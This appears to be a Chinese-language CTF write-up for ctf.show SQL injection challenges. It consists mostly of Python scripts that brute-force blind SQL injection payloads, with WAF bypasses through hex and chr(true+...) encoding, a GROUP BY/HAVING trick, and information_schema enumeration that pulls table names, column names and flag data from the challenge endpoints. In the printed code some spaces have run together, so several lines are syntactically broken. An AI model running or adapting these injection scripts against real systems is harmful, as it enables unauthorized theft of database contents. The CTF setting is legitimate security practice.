url = r'http://303b0ea1-6fc8-4947-9730-47d85b4a3c1c.challenge.ctf.show/select-waf.php' str = r'0123456789abcdefghijklmnopqrstuvwxyz-}' flag_pre = 'ctfshow{' payload = "ctfshow_user as a right join ctfshow_user as b on b.pass like {}"
i = 0 key = 0 while (1): if key == 1: break print(i) i += 1 for j instr: data = { 'tableName': payload.format('0x' + _2hex(flag_pre + j + "%")) } r = requests.post(url, data=data) if'$user_count = 43'in r.text: flag_pre += j print(flag_pre) if j == '}': key = 1
注意,判断条件的43是使用payload所知道的。 此外,还可以使用如下payload:
1
tableName=ctfshow_user group by pass having pass like 0x63746673686f7725
group by和having关键字
HAVING 是 SQL 中用于对分组后的结果进行筛选的关键字。它通常与 GROUP BY 关键字一起使用,用于对分组后的结果进行聚合计算和筛选。 比如:
1 2 3 4
SELECT student, AVG(score) AS avg_score FROM scores GROUP BY student HAVING avg_score >= 90;
HAVING pass LIKE 0x63746673686f7725 对分组后的结果进行筛选,只返回 pass 列中包含字符串 0x63746673686f7725 的分组。 这里就不写脚本了,注意所对应的条件是返回中存在$user_count = 1
# 将数字转换为true相加 defnum2True(num): a = 'true' if num != 1: for i inrange(num - 1): a += '+true' return a
# 将文本转换为concat和chr函数结合的格式 # 比如:aa -> chr(一大堆true相加),chr(又一大堆true相加) defchange_style(s): str1 = '' str1 += 'chr(' + num2True(ord(s[0])) + ')' for i in s[1:]: str1 += ',chr(' + num2True(ord(i)) + ')' return str1
url = r'http://76c1b9c5-22be-4d38-8e83-4cdf71d2b93a.challenge.ctf.show/select-waf.php' str = r'0123456789abcdefghijklmnopqrstuvwxyz-}' flag_pre = 'ctfshow{' payload = "ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({}))"
i = 0 key = 0 while (1): if key == 1: break print(i) i += 1 for j instr: data = { 'tableName': payload.format(change_style(flag_pre + j + '%')) } r = requests.post(url, data=data) if'$user_count = 43'in r.text: flag_pre += j print(flag_pre) if j == '}': key = 1
url = r'http://96880f33-872c-4e26-9e91-a87d096bb6e2.challenge.ctf.show/api/' flag_pre = 'ctfshow{' str1 = "abcdefghijklmnopqrstuvwxyz0123456789{<>$=,;_ -}" # payload = "admin'and+if(substr(database(),{},1)=('{}'),1,0)#" payload = "admin'and+if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)=('{}'),1,0)#" res = ''
for i inrange(1,100): for j in str1: data = { 'username': payload.format(i, j), 'password': '0' } r = requests.post(url, data=data) # print(data) # print(r.json()['msg']) if'密码错误'in r.json()['msg']: res += j print(res) break if j == '}': exit()
分别修改payload参数可以得到需要的名称:
1
payload = "admin'and+if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)=('{}'),1,0)#"
ctfshow_fl0g,ctfshow_user
1
payload = "admin'and+if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)=('{}'),1,0)#"
url = r'http://96880f33-872c-4e26-9e91-a87d096bb6e2.challenge.ctf.show/api/' flag_pre = 'ctfshow{' str1 = "abcdefghijklmnopqrstuvwxyz0123456789{<>$=,;_ -}" # payload = "admin'and+if(substr(database(),{},1)=('{}'),1,0)#" # payload = "admin'and+if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)=('{}'),1,0)#" payload = "admin'and+if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)=('{}'),1,0)#" res = ''
for i inrange(1,100): for j in str1: data = { 'username': payload.format(i, j), 'password': '0' } r = requests.post(url, data=data) # print(data) # print(r.json()['msg']) if'密码错误'in r.json()['msg']: res += j print(res) break time.sleep(0.3) if j == '}': exit()